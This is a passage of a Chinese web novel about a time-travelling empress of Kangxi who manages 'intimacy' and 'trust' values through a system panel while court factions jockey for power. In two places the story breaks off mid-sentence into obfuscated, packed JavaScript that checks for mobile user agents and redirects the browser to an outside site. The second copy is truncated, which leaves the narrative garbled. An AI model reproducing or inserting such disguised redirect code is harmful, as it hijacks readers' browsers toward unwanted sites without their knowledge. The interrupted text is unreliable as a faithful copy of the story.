珠兰望着那跳动的数字,忽然觉得有些好笑——这位坐拥天下的帝王,向来是想要什么便能得什么,金口一开,满朝文武莫敢不从。 偏偏是生离死别、安危未定这种失控的时刻,才能让他卸下那层“圣明”的壳,露出心底最真切的在意。 梦里的惊魂,信里的絮叨,那些藏不住的焦灼,说到底,都是因为“怕失去”。 系统:他怕失去爱,而非你。 珠兰:我……还是看数据吧。 寻常日子里的相敬如宾、琴瑟和鸣,或许能攒起亲密度,却远不如一场虚惊来得猛烈。 就像钝刀子割肉总不如快刀斩乱麻来得痛彻心扉,能让他瞬间看清自己的心意。 “喜欢虐恋情深的帝王啊……”珠兰轻啧一声,将信笺折好放进锦盒。 目前我是爱的载体,这总没错。 即便皇帝突然爱上的是爱情本身,那没有关系,我可以是珠兰,也可以是爱情。 这种人,平日里好哄,可一旦触及软肋,情绪便会像决堤的水,汹涌得让人措手不及。 他会为了梦里的画面心悸,会为了一句“归期未定”辗转,会用一封封急信来确认她的平安——这份在意来得炽烈,却也带着几分偏执的霸道。 这一份感情,不在珠兰的设计之内。 她从不会用自己的安危去赌的,所以也没想到皇帝会有这种反应,这还是在她实际并未有任何惊险的情况下,是皇帝自己吓自己的情况下。 帐外传来阿日娜苏的声音,说舆图已经备好,等着太皇太后过目。 珠兰收起系统面板,起身时嘴角还带着浅淡的笑意。 难伺候是难伺候,可看着那快要触顶的亲密度,又觉得这场“惊心动魄”也算没白折腾。 至少,这位帝王终于明了,有些东西,与江山同样让他牵肠挂肚。 一个人,只要有爱,亲密度就会猛猛涨。 而她要做的,就是在他这份激烈的在意里,稳稳当当走好接下来的路——既要让他安心,又不能真的让他觉得“一切尽在掌握”。 毕竟,对付喜欢“虐恋”的人,偶尔的“恰到好处的失控”,才是维持亲密度的秘诀啊。 谁让这位天命核心人物的数据,系统无法锚定呢,无法一劳永逸。 珠兰想着,掀帘走出帐外,漠西的风正暖,归途已不远。 90. 康熙转变 漠西的草尖刚染上白霜,太皇太后的毡帐里就堆起了打包的行囊。 康熙的信像雪片般飞来,最新的一封里,他甚至让李德全画了张京郊的秋景图,旁注“枫叶正红,祖母、母后与珠兰归时可赏”,字里行间的急切,连苏麻喇姑都看笑了:“皇上这是怕咱们在草原上扎根呢。” 太皇太后抖了抖新做的貂裘斗篷,望着帐外渐起的寒风,终是松了口:“走吧,再不走,真要困在这冰天雪地里了。” 她心里清楚,皇帝的催促是一方面,草原的冬天来得凶,太后的身子骨经不起冻,珠兰也该回宫里了——那小子的信里,字字句句都在念着他的皇后。 动身那日,阿日娜苏牵着马送了老远。 她依旧穿着宝蓝色的骑装,只是眼眶有些红:“皇祖母、母后、皇后娘娘,路上保重。漠西这边有我,开春再分极西新草场时,定给您递消息。”她的驻扎地定在了承德离宫,既离草原近,又能随时与京城通消息,是珠兰和康熙商量好的稳妥安排。 太皇太后拍了拍她的手:“别太拼命,有空也回京城看看。” 太后跟着点头,摸了摸眼睛,摸到一把眼泪。 珠兰则塞给她一本账册:“商队的新章程,按着这个来,稳当。” 阿日娜苏用力点头,看着队伍渐渐远去,才转身回了漠西的营地——那里还有无数战后事宜等着她处理,炊烟升起的毡帐,重建的部落,都得一一安顿好。 端敏的银枪斜挎在马鞍上,护着队伍走在最前面。骑兵队列整齐,马蹄踏过结霜的草地,发出沉稳的声响。 “到了京城,我只歇三日。”她跟珠兰并辔而行,语气里带着跃跃欲试,“补够了兵源,就回草原。漠北的罗刹人还在边境晃悠,这笔账,迟早要算。” 珠兰望着远处的地平线,笑着点头:“皇上也是这个意思,只是到了京城,先陪皇上喝杯暖酒再说。” 队伍缓缓向东,身后的漠西草原渐渐缩成一道线。 太皇太后的车驾里,暖炉烧得正旺,她翻看着康熙寄来的信,忽然对苏麻喇姑说:“这小子,以前总嫌……,现在倒像是离不得她了。” 苏麻喇姑笑着添了块炭:“这才是夫妻。” 风里开始夹杂着细碎的雪粒,打在车帘上沙沙作响。 但队伍里的人都不觉得冷——前方是京城的方向,有暖炉,有杏仁酥,有等待的人。 而身后的草原,有阿日娜苏守着,有端敏即将返回,无论是分草场的琐碎,还是与罗刹人的对峙,都有了着落。 车轮滚滚,载着归人,向着越来越近的京城驶去。冬日的雪还没落下,回家的路,一片坦途。 在天子一封封书信的催促下,天下最尊贵的三个女人回到了她们的紫禁城。 皇帝又被大臣拦了,没能去草原接她们,承德都不能去,只迎到了京郊。 慈宁宫暖阁弥漫着不变的牛乳茶的甜香,二十一岁的赫舍里珠兰不必再如康熙元年一般要稳稳当当的跪在波斯绒毯上,她是有座的。 但她依旧垂眸望着太皇太后脚边蜷成毛团的京巴犬,这是那只墨云一般的老犬,年纪大了,依旧温顺。 太皇太后与皇后聊家常,太后因要静养并不在此处,慢慢的宫女们也都出去了,只苏麻喇姑一个陪在左右。 当初金账遇刺,两宫并非没有任何沉没成本。太皇太后与太后得用的嬷嬷、宫女、太监便有损伤,当时营中大乱,佟国纲哪里有心思护着她们。有些当场便没了,给家中发了抚恤;有些运气好些,是留在草原养伤。现在这一批,除了提拔宫内原有的边缘人物,便是内务府新补充上的。 暖炉燃着银丝炭,茶烟在鎏金熏炉里袅袅散开,裹着一股温润的枣香。 太皇太后靠在铺着白狐皮的软榻上,手里捧着盏热奶茶,目光落在珠兰身上,没有了往日的审视,只剩长辈的恳切——亲密度破了60,连说话都少了绕弯子的客气,气氛也不会总是时不时的就凝固一下子了。 “珠兰,哀家不是要逼你,是这事儿实在拖不得。”老太太指尖轻轻叩着茶盏,声音沉了些,“前朝武帝当年,就是因为迟迟没有嫡子,宗室里多少人盯着皇位,连他亲娘舅都里通藩国。史书中的教训摆在那儿,皇帝如今十八了,放在民间早都该抱三五个娃了,可后宫连个动静都没有。” 珠兰一怔,今日太皇太后确实语重心长,这是在教导她。 系统:她说的是汉武帝刘彻。 珠兰······你不说我也知道。 除此之外,太皇太后又列举了一些前车之鉴:汉昭帝刘弗陵在位13年,21岁去世时无亲生子嗣。汉桓帝刘志在位21年,36岁去世时无子嗣,东汉皇权长期受制于外戚与宦官。宋哲宗赵煦在位15年,25岁去世时无亲生皇子,北宋“新旧党争”持续数十年。明武宗朱厚照在位16年,31岁去世时无子嗣,明朝“兄终弟及”的继承制度面临考验。 系统:这些案例的共性在于,皇帝无子会导致“继承合法性”缺失,权臣、外戚、宗室或宦官借机争夺权力,最终要么引发朝堂内斗,要么加剧皇权旁落,成为王朝由稳转乱的重要节点。 珠兰:王朝混乱会影响获取能量结晶,除非······ 老太太顿了顿,目光扫过殿外的积雪,语气更重:“现在四方乱局,看着要平了,朝臣们嘴上不说,心里定然都在琢磨皇帝子嗣之事。咱们皇家,子嗣就是国本,国本不稳,前朝后宫都得乱。” 珠兰坐在下首的绣墩上,指尖摩挲着袖口的缠枝莲花纹。 她想起了诺敏,自打她们回来,诺敏便很黏她,甚至对着她眼泪掉个不停,生怕她在草原上有个好歹的样子。 她想起了玉宁,也是往养心殿一坐就是半天,拉着她有说不完的话,仿佛要把这两年信里不方便写的事都吐露出来。包括但不限于她倾慕皇帝,但皇帝不理她;她安排家中多做糖业,但家中短视阳奉阴违等。 她想起了萨琳,她特意来告诉那景仁宫的甄答应,只用了三个月便已经学完了牛爵士的微积分原本,学的是拉丁文版本《流术简论》,三个月从无到有,自学了一门语言,攻克了一门高数,非人哉。 此女恐怖如斯,不负应仙之名,不管何时想起,珠兰都会倒吸一口凉气。 太皇太后的话她深以为然——皇帝已满十八,天下将安,子嗣确实成了绕不开的话题。 她自己不想生,可若其他妃子有了孩子,孩子也是认她做娘,既能稳固局势,又能攒下助力,甚至可能开启新副本,对能量结晶的积攒更是百利无害。 这种无痛当妈、稳赚打手的买卖,怎么算都不亏。 她刚要点头应声,殿外忽然传来急促的脚步声,康熙掀帘进来时,明黄的龙袍还带着室外的寒气,衣摆扫过门槛,带起一阵风。 自从太皇太后一行人回宫,他几乎天天来慈宁宫请安,没少听念叨。 当初老太太出门时,虽说是赌气之言,但也带着三分真意,若非是王辅臣神来一笔,她们没准儿是真不准备现在回来。 康熙多聪明的皇帝,自然知道老太太也不是只为了这一码事不想回,关键还在草原那条寸土寸金的商路上。财帛动人心,也动太皇太后的心,动不了?那一定是还不够多! 今儿听说老太太单独叫了珠兰,他是心焦得不行,生怕祖母又拿子嗣的事难为她。 刚进门,就听见“子嗣”两个字,康熙脚步一顿,立刻上前两步,挡在珠兰身前,对着太皇太后躬身道:“皇祖母,此事与皇后无关,是朕的意思。” 太皇太后和珠兰都愣了——过去但凡聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281506|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起子嗣,都是珠兰笑着打圆场,说些插科打诨的话,或者干脆把罪责揽在自己身上,从没见他主动把话接过去。 康熙直起身,目光落在珠兰身上,带着几分护犊子一般的坚定,又转向太皇太后:“是朕觉得眼下国事为重,不想让后宫琐事分了心,跟皇后没关系。您要怪,就怪朕,别逼她。” 这话像颗石子投进温水里,太皇太后先是惊讶,随即眼里露出点笑意——这小子,护着媳妇倒是快。 自草原遇险后,太皇太后想开了很多事,也包括这皇帝之心、之情、之爱,跟他对着干,没结果。 珠兰站在康熙身后,望着他挺拔的背影,心里忽然一动:系统面板上康熙的亲密度还在微微跳动,而他此刻挡在她身前的样子,比任何甜言蜜语都更让人……尴尬。 毕竟,这迟来的守护她也不需要就是了。 太皇太后放下茶盏,笑着点了点孙儿,“你倒会护着她,哀家也没逼她,不过是跟她说说道理。” 她看向珠兰,语气软了些,“你们小两口心里有数就好,也别太拖了。” 康熙松了口气,伸手牵住珠兰的手,指尖带着暖意:“孙儿晓得。皇祖母,时辰不早了,孙儿与珠兰就回了。” 太皇太后无奈,叫苏麻喇姑送客,顺道去小厨房把给珠兰炖的补品阿胶送去养心殿。 苏麻喇姑忍着笑,送了帝后出门。 本来,格格是要留膳的,惦记着给皇后补一补身子,结果皇帝就把皇后拉走了。 拉着珠兰走出慈宁宫,雪粒还在飘,康熙把她的手揣进自己的袖筒里,低声道:“以后皇祖母再提子嗣的事,你别应声,有朕在。” 珠兰望着他眼底的认真,笑了,“皇上,就不怕朝臣说您宠妻误国?” “朕是皇帝,”康熙握紧她的手,语气笃定,“护着自己的皇后,谁也管不着。” 雪落在两人的肩头,融成细碎的水痕。 朕变了——从前是需要珠兰遮掩的帝王,如今,朕成了能为她扛事的夫君。 皇帝的嘴角微微上翘,显然十分愉悦。 慈宁宫一席话,系统面板上的重重数字,让珠兰不仅不能八分感动,还要有三分皱眉。 康熙牵着她的手走出慈宁宫门,珠兰表面笑着应和,指尖却已在意识里点开了系统面板——果然“太皇太后亲密度”那一栏正闪着微弱的红色波动,数字停在61,后面跟着个极小的“↓”符号。 她心里咯噔一下,方才康熙那句“别逼她”,看似护着她,实则太皇太后刚因草原之事放下对她的芥蒂,亲密度刚破60的“亲厚”线,本就经不起半点敲打。 老太太提子嗣是出于正常顾虑,并非真心为难,康熙这一硬顶,反倒像把她俩摆在了的对立面,极易让老太太觉得“皇后恃宠而骄”,之前因救命之恩攒下的好感,很可能一朝归零。 系统对此也很无奈,毕竟那是天命核心人物。 “皇上,”珠兰放缓脚步,状似无意地抽回手,拢了拢斗篷,“方才在慈宁宫,您这话……太急了些。” 康熙愣了愣,显然没意识到问题,他笑意中带着对珠兰的安抚,她总是太过于小心,“朕,总不能看着皇祖母那般说你。” 珠兰没再辩解——跟此刻满脑子“护妻”沉醉于“自己的爱”中的帝王讲道理,只会适得其反。 她的意识已沉入系统界面,目光落在“手动提升”按钮上,指尖悬在半空,与系统一般满是无奈。 太皇太后与皇帝一样,同是天命核心人物,不同于鄂伦岱、贾赦这类普通角色,他们的亲密度提升从不由“观察点”兑换,最低门槛就是“涟漪级能量结晶”。 这次,要大出血才能平账…… 那么,首先就得要弄明白,皇帝这坏事儿的恋爱脑是怎么来的。 91. 春风化雨 珠兰望着静静躺着的能量结晶,每一颗都泛着光晕——这是她用经营草原半年的收益、平定王辅臣的战功,才换来的时空局硬通货,50颗足够她提升三百个普通人的亲密度到满值。 “确认消耗50颗涟漪级能量结晶,手动提升太皇太后亲密度5点,当前亲密度:66,状态:稳固。”系统冰冷的提示音在脑海里响起,珠兰只觉得一阵肉疼。 年老的政治生物,依然拥有难以撼动的属性。 那转换比率堪称苛刻,1颗结晶换0.1点亲密度,若非怕康熙这波低情商操作毁了她两年的铺垫,她绝不会动这“家底”。 面板上的红色波动终于消失,“66”的数字稳稳亮起,附带的标注从“亲厚-波动”变成了“亲厚-稳固”。 珠兰这才松了口气——还好,赶在老太太心里那点不快发酵前,把亲密度钉死在了安全线以上。 她抬眼看向康熙,他还在絮絮叨叨说“以后有事朕扛着”,眼底的认真让她既尴尬又好笑。 这位帝王是真的变了,从需要她遮掩的“合作伙伴”,成了想护她周全的“夫君”。 可这份转变里,偏偏带着点不谙人情世故的莽撞,反倒要她在后面收拾烂摊子。 “皇上的心意,臣妾晓得。”珠兰笑着挽住他的胳膊,语气软了些,“只是太皇太后也是为了皇上好,往后再聊起子嗣,咱们慢慢跟她说,别急着顶回去,好不好?” 康熙见她没生气,反倒松了口气,连忙点头,“都听你的。” 雪下了些,落在宫墙上,积起薄薄一层白。 珠兰望着远处的养心殿,心里默默盘算:这50颗结晶不能白花,得想办法让康熙多跟太皇太后“顺毛”,把亲密度再往上提提,不然下次他再冒冒失失,她的能量结晶可经不起这么造。 跟天命核心人物打交道,每一步都得精打细算——稍有不慎,之前的努力就可能付诸东流,而这虐心的兑换比率,更是容不得半点马虎。 比如给皇帝加的开明属性,没怎么着就掉回去了不少。好在此时的皇帝,属性的顽固程度比不上年老的太皇太后。 赔本的买卖不能总做啊,那可会让系统看笑话的。 珠兰回朝后,将自己离京期间收到的几方消息与前朝后宫的大小事宜一一比对厘清。 养心殿宫女的视角看到了皇帝从不入后宫,平日总到空荡荡的养心殿,独自念着娘娘在时的景象,极为深情。 乾清宫太监的视角看到了皇帝夜夜熬着批阅奏折,实乃圣君。 内务府匠人的视角,却变成了娘娘离宫后再无新鲜玩意好做,不说额外赏赐没了,还险些遭遇裁员,全家喝西北风。 系统:活都是我干的! 珠兰:你干就你干呗! 时光迈入康熙十年,潜藏在密报字里行间的博弈、人事变动背后的权衡,渐渐在她心中织成一张清晰的网。 从皇后出行,皇帝对珠兰的思念从未遮掩,会下意识寻她的身影,批奏折到深夜时,总念叨着她爱吃的杏子糕、玫瑰酥,心酸与甜蜜如影随形。爱如春雨,滋润着皇帝干涸的心田。 可这份情意,并未影响他对权力的把控——珠兰离京期间,康熙逐步拆解了她在内务府的势力,将一应皇后宫中用惯的管事调入前朝或派去地方,重新从包衣中择选能人提拔起来,将账册审核、采买调度等核心权柄,全数收归御前。 顾问行与梁九功本来还代表各自的团队争抢了一番,结果各分一半后,发现皇后娘娘定下的体制过于优越,没什么油水好捞不说,居然也没什么人情好做,鸡肋一般。 荣贵人诺敏与惠贵人玉宁感到了变化,她们要通过乾清宫的手往外伸是极难的,如皇后在时一般能通过内务府采买影响家族,是不可能了。 贵妃萨琳更是直接将内务府的权柄撒开了去,免得惹人嫌,一心扑在牛爵士的书上,每日都要去景仁宫与那天赋异禀的甄答应对答讨论。 在皇帝看来,就是皇后大公无私,并未在内务府的治理中玩弄任何权术,而是当真留下了一套万世皆准的准则条例。 康熙对珠兰如此光明正大、不虑夺权的行为,深感窝心,深感自己小人之心。 这般想是想,他信任珠兰,却还是本能的防备四面开花的赫舍里。 如今的赫舍里氏已经不是当年被鳌拜打压,小辈中只有一个葛布喇支撑门楣的家族了,后族的风范让康熙心中也有些疑虑。 待珠兰回宫,他没让她重返内务府,反倒将人留在乾清宫,做了“御前秘书”:晨起陪他看奏折,午后帮他整理军报,晚间还得听他念叨朝政琐事。 珠兰倒是无所谓,身边的女官们也只能跟着转变思路,从皇上的内管家往朝廷的内管家上靠拢。这种转换中,要学的知识可不少,一个不小心不是闹笑话那么简单,要掉脑袋的。 旁人看来是“帝王独宠”太过,明眼人觉得皇后是丢了后宫大权,珠兰却甘之如饴——在已经掌握包衣群体的忠诚度后,远离手拿把掐的内务府琐碎纷争,带领养心殿训练成熟的团队转战乾清宫、南书房,乃是一件好事。 陪伴皇帝处理政事,能更清晰地看清朝堂脉络,这对她而言,远比旁人眼里的皇后必须攥着劳什子采买权更有用。 毕竟,内务府虽名义上不再属于她,但从未脱离她的掌控,无数工匠、役夫、宫女、太监、包衣的忠诚度撑起的内务府,是换多少主事来都难以动摇的。 这些主事也皆出自包衣家族,读书、习武、涨薪……哪个没受过皇后娘娘的恩惠。 毕竟,忠诚不够高的家族都被处理了,他们的人也留不到现在。 除非皇帝狠心诛杀宫中所有宫女、太监、包衣等人,否则珠兰永远立于不败之地,某种程度上,宫中之主早就不是皇帝了。 春风化雨,不外如是。 让某些朝臣稀奇的是,赫舍里家对这一变动毫无异议。 没有老臣上书“请与皇后内务权”,也没有族人私下抱怨,仿佛内务府本就不该由皇后掌控。这份“识时务”,让皇帝暂且放下了对后族掣肘的顾虑。 毕竟是葛布喇做族长的人家,朕是杞人忧天了。 倒不是索尼死了,实在是年纪大了,看孙子都力不从心,从朝中“乞骸骨”后,就是真退休了,实在不能再占着族长的位置。 珠兰的父亲葛布喇,当朝后族,皇帝心腹,执掌实权,兄弟得力,族人能干,有钱、有权、有兵,拥有一切成为权臣的要素,但硬生生把自己干成了实干派的“卷王”大学士。 旁人看着他,摸着自己的良心,也觉得葛布喇真是当朝第一大忠臣,若是此人都不得皇帝宠幸,那就没天理了。 葛布喇在朝堂上是出了名的“铁憨憨”,从鳌拜时期就是如此,至今不变。 其人身为内阁大学士,从不用“心术御下”那套,说话办事一点套路不讲。每日抱着奏折泡在南书房或者到六部走动,或者就自己下地、下矿、下乡,农田收成、河工修缮、边关粮草,事事都要亲自核查。 在他眼中就没有“一些、若干”这种词汇存在的必要,他过手的事必然是地方与部堂两方核对无误,连小数点后的数字都不肯放过,哪个环节出了错都觉得对不起皇上的信任。 他的实干,逼得其他大学士不得不跟着“卷”——从前大家还能靠引经据典、模棱两可的奏折蒙混过关,如今葛布喇把数据事例摆得明明白白,谁要是敢敷衍,皇帝第一句就是“你看看人家的折子”。 久而久之,朝堂风气竟被他带得务实了不少,只是私下里,不少同僚都在吐槽“赫舍里家的人,连当大学士都要卷死旁人”。 珠兰的三叔索额图领着海事衙门,与商部尚书明珠成了“黄金搭档”,两人主攻东瀛之地,把生意做得风生水起。 对,明珠终于当上尚书了,手下的人也个个升职加薪、意气风发。 明面上,他是朝中各部都要巴结的明日之星与财神爷,实际他知道自己又多难。 每年,索额图派海军护航商队,商部从东瀛运回的白银堆在皇帝的私库,最少三千万两。这个是底数,每年还要有新增。 真是要了亲命了! 为了抢地盘、扩商路,他们不得已,只能暗中推动幕府与藩国打了数次“国运之战”,每一次战乱,都能让清廷的商队趁机垄断当地贸易。 权谋,都被姚启圣、陈廷敬等人滥用了,明珠扼腕。他们是玩爽快了,小小东瀛,哪里经得起这一帮子人精轮番上阵忽悠。两年下来,战争潜力都要被榨干了。 明珠,不得不寻找新的经济增长点。 索额图,也不得不寻找新的军功刷新处。 今年最让索额图得意的不是挑动东瀛再起战火,是他借着渲染“三藩势力”,说服皇帝让海事衙门的海军去东南沿海作战——既能避开京中八旗子弟太窝囊导致的风波,又能在战场上捞取实绩,还能掩护翻云会的奇妙举动,一举三得。 与此同时,他也没忘了好搭档明珠。 平三藩的战鼓刚在东南响起,索额图就盯上了这块“军功与商利并存”的肥肉,并且推荐给了明珠。 明珠的商部看似风光,实则有苦难言——东瀛的增长点已见顶,八旗勋贵、宗室贵人、蒙古王公又死死攥着草原、北方和南洋的贸易份额,商部根本插不进去,只能眼睁睁看着晋商靠着与八旗的老关系又跑到战场上赚得盆满钵满。 为了挤进军务视野,两人在康熙面前几乎是“唱双簧”——今日索额图递奏折,说吴三桂麾下铁骑能“一日奔袭百里”,藩地粮草能“支撑三年不缺”;明日明珠就跟着觐见,添油加醋讲“尚可喜在广东私铸铜钱,军器库堆得比国库还满”。 与朝中众人不同,两人刻意渲染三藩之强,目的只有一个:让皇帝觉得“单靠八旗不够,需借外力助战”。 而且八旗子弟还特别配合,某些王爷带的兵拉胯的让人没眼看。 索额图的算盘最先落定,他借着“东南沿海需防藩军海路突围”的由头,力请让海事衙门的海军参战。康熙本就想试试海军战力,便准了他的奏请。 于是,索额图麾下的战船扬帆南下,不仅在沿海截获了多批藩军的粮船,还趁势控制了厦门、泉州等港口,既立了军功,又把海事衙门的势力伸进了东南,算是彻底掺和进了平三藩之战。 明珠的路则走得曲折些,他掌管的商部,早就想啃“战场商路”这块硬骨头。 但是老熟人晋商靠着与八旗王爷旗主的旧交情,垄断了战后物资运输与交换,从八旗兵手里那是一手交钱一手交货,获得双赢。 晋商还能负责把士兵的战利品换成钱,给送到老家去,服务十分到位。毕竟士兵抱着个古董行军,那也不成样子,战后就都给商人换成钱了,价格虽然比市价低的多,但总归是没本的买卖不是。 这种暴利,商部一开始是连边都摸不着。 眼看索额图得了军功之路,明珠正急得上火,索额图却给了他一句提点:“绿营将军缺军功,你帮他们上位,他们还能不让你分杯羹?” 明珠瞬间醒悟,他立刻在朝中搜罗被八旗压制的绿营将领——这些人有能力却没门路,正愁没机会立战功。 明珠亲自出手走关系,为他们打通关节,承诺“若能在东南立功,商部的资源优先供你们调度”,并亲自到御前举荐。 果然,几位绿营将军在东南、西北战场屡立奇功,投桃报李之下,把这战后物资运输权给了明珠的属下。 明珠总算如愿拿到了战场商路,不用再盯着已见顶的东瀛贸易发愁。 事后,明珠特意去谢索额图,语气里满是感激:“若不是老兄指点,我这商部怕是还困在东瀛的死胡同里。” 那岛上,被几个人精子一番二番三番压榨,真是二十年内再榨不出油水了,毕竟这一代人的劳动力都被各藩大名用的差不多了。 一场突如其来席卷整个东瀛的国战,极大破坏了当地的日常贸易,现在只能往那边卖旧军火。国内原本输入东瀛的这部分绸缎、瓷器、茶叶等,九成必须另外找销路。 索额图笑着摆手又拱手,“咱们本就是一条船上的,你好我好,才能让皇上放心。” 两人心里都清楚,这场“联手破局”,不仅让他们各自攥住了军功与商利,更让皇帝看到了价值——往后朝堂上,他们的话语权,又重了几分。 珠兰的四叔柯尔坤是赫舍里家的“异类”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那些被抄家的大户,田地、宅院、商铺,全被他以极为低廉的价格买下,划归内务府皇庄,旁人有相争者,便被他搬出上边的门头压下来。要说内务府做事,当地可能不惯着,毕竟大家伙出门在外,谁没有靠山,各凭本事是也。私人办公事,还能用自己的关系不成? 可法保出面,家门一报,地方上谁敢不给葛大人面子。宁得罪朝廷,莫得罪阁老,没听说过?活该你死啊! 短短半年,皇庄的规模竟呈几何倍数扩张。消息传到康熙耳中,他一时都不知该怎么夸——法保忠心耿耿,办事利落,可也因“手段过狠”遭了无数弹劾,成了朝堂上有名的“弹劾最多却最得圣心”的臣子,也就是佞臣。 就是这样的后族,也难以让皇帝完全放心。赫舍里氏的分量,理所当然是不可能让康熙的恋爱脑发酵。 珠兰对着皇帝的猜忌数值,皱皱眉,转而去看皇帝的健康值。 他,莫非魔怔了…… 赫舍里府中,索尼睡着的时候比醒着多,他太老了,太累了。 葛布喇的两个儿子下了学,来拜见祖父、祖母,又去拜见卧病的母亲。 小哥俩儿原本在家读族学,后来被父亲送去旗学,皆是其中佼佼者。被系统强化过属性的人才,总是在某一方面表现的一骑绝尘,但也总会有一些怪癖。 葛布喇的长子常泰年方十五,身量已抽得颀长,却总爱缩在窗边的角落,手里不是攥着泛黄的兵书,就是对着沙盘凝神。 他眉眼像极了父亲葛布喇,透着股不撞南墙不回头的执拗,偏偏幼时经了珠兰用系统强化,脑里装着的军略图谱比先生的教案还详尽。 族学里推演军棋,他总能以少胜多,明明手里只剩几枚棋子,却能布下连环局,逼得对手无路可退。 可一到与人说话,就像被抽走了所有灵气——先生问他“为何这般布阵”,他只会梗着脖子说“这样能赢”;同窗凑过来讨教,他头也不抬地扔出句“自己看兵书去”,直愣愣的性子,活脱脱把“生人勿近”刻在了脸上。 索尼常拄着拐杖站在窗外看他,捻着胡须叹气:“这小子,跟他爹一个模子刻出来的,骨头比石头还硬。” 朝堂上的弯弯绕绕,家族里的平衡之术,常泰是半点没沾。有次索尼故意考他:“若旗主与将军意见相左,该听谁的?”他想都没想就答:“谁的兵略对听谁的。” 气得索尼敲了他一拐杖:“你当这是下棋呢?” 比常泰小两岁的常海,则是另一个极端。 十三岁的少年壮得像头小牛犊,笑起来露出两颗小虎牙,浑身透着阳光气。 他是被系统强化过武力的,族学里比摔跤,三个同龄孩子被他耍着玩;拉弓射箭,能轻松拉开成人用的强弓,箭箭都擦着靶心过。 可这股子力气,偏偏长在了一根直肠子上。 同窗不小心碰倒了他的弓,他抓起对方的胳膊就往场院里拖:“来,摔一架,赢了我就不生气。”先生教他“遇事需三思”,他挠着头笑:“想那么多干啥?拳头硬才管用。” 有回索尼见常海正追着个族人家的孩子打,只因对方说他“空有蛮力”。 索尼拦住他问:“打输了怎么办?” 他理直气壮:“打输了就再练,总有打赢的那天。” 气得索尼点他的额头:“你当谁都跟你似的,只认拳头?” 可就是这两个浑身是“怪癖”的少年,偏偏成了族学乃至旗学里的“双子星”。 常泰的军略推演,连曾在军中待过的先生都自愧不如,常有宗室子弟凑钱请他“排兵布阵”出去打群架。 常海的拳脚功夫,更是让旗学的武课成了最热闹的场子,连旗里不当值的御前侍卫都爱来看他练拳。 他们的名声,像长了翅膀似的飞进了紫禁城。 康熙听侍卫们念叨得多了,难免好奇:“赫舍里家这两个小子,倒真是各有各的章程。” “常泰少爷据说能在沙盘上模拟三藩战事,连大学士们都夸他‘有大将之风’。”梁九功笑着回话,“常海少爷厉害,前几日跟镶黄旗的小将军比箭,赢了人家三匹好马。” 康熙放下朱笔,指尖在奏折上敲了敲。 军略过人却不懂变通,武力超群偏只认拳头——倒真是葛布喇的性子,少了些索尼的圆滑,多了些实打实的愣气。 “哪天让他们进宫来瞧瞧。”康熙眼底却闪过一丝笑意。 92. 珠兰欠债 养心殿的窗棂透进二月的朝阳,在金砖地上投下细碎的光斑。 一大早塔娜抱着狗就跑进来了,这只小黑犬难得是她养的时间长的宠物。 珠兰在外时,写信回宫,凡有皇帝的,便有塔娜的。故而小丫头只是在姐姐回来后撅了几天嘴,嫌姐姐离开的时间太长,后面便黏着姐姐不撒手,过了半个月才故态复萌,该干嘛干嘛了。 天真豁达,让这个姑娘无名无分的住在后宫许多年,也不曾有什么黑化的想法。 塔娜也快满十八岁了,家中母亲佟佳氏病中仍不忘关心她的婚事,只是信只寄给了珠兰一次,便被祖母大佟佳氏拦住了。 索尼有话,塔娜的造化在宫里,不许她们妇人插手。 养心殿的玫瑰酥味道最好,元气满满的小姑娘吃饱了,把小狗放到花园里。 小狗活泼的陪着塔娜来回跑,笑声清脆悦耳,犬吠时不时响起也带着愉悦之意。 珠兰支着肘坐在妆台前,看着外面的塔娜微笑,指尖划过镜面边缘——那镜面映出的桃花面,与时空局的林昭然毫无区别。 手作系统,此刻正安静地悬浮在意识深处,像枚嵌在骨血里的印记。 “当前可支配涟漪级能量结晶总量:890颗。逾期欠款:6300颗。利息累计:460颗。是否执行全额还息或部分还款?”系统的机械音响起,面板上的数字随着光影微微跳动。 一个世界又一个世界的试探,让林昭然欠了时空局不少钱。谁让她破坏欲那么强,偏生是一个可发展的世界都没留下,看似短时得利,但在没有任务的每一天,都要支付时空局各类管理费,自然只有欠款没有进账咯。 珠兰拿起眉黛,蘸了点螺子黛在眉心比量着,闻言轻笑出声,在心中说道:“急什么?债多了不愁,先欠着。” 这点能量结晶还是太少,前期铺垫时期多数效果显现不出来,世界给能量就不会太大方。 “根据时空局第37条补充条例,若时空局成员逾期欠款超10000,利息将按复利计算。”系统的提示依旧一丝不苟,“无债状态下,系统可解锁‘因果溯源’功能,有助于分析天命核心人物情感波动。” “解锁功能哪有手里攥着活钱实在。”珠兰放下眉黛,镜中的自己眉眼沉静,比第一次执行任务时多了三分从容、四分不羁、一分无所畏惧,“你看,这不是刚用上?” 她抬手虚点,意识沉入系统仓库。 那里堆积的能量结晶泛着淡蓝光晕,像被串起来的星子——这是世界演进结算的“分红”。 从内务府改革的吏治清明,到河道衙门引入西学的技术革新,再到海上商路打通的白银流入,每一次历史轨迹的正向偏移,都会凝结出这些带着世界本源力量的结晶。 系统沉默片刻,面板突然切换了界面,一行行数据流飞快滚动:“检测到天命核心人物属性变动成本曲线——康熙(政治成熟度72):单次属性调整需10-50颗涟漪级结晶;孝庄(政治成熟度91):单次属性调整需50-200颗涟漪级结晶。建议:趁康熙政治成熟度未达峰值,定向强化‘信任’‘亲密’等有利属性,降低长期成本。” 珠兰指尖落在“康熙”的数据上,那行“信任:78(波动上升)”的字样格外显眼。 她想起刚回宫时,这数字还停在65,不过短短数月,竟涨了13点,连系统都标注了“异常增速”。 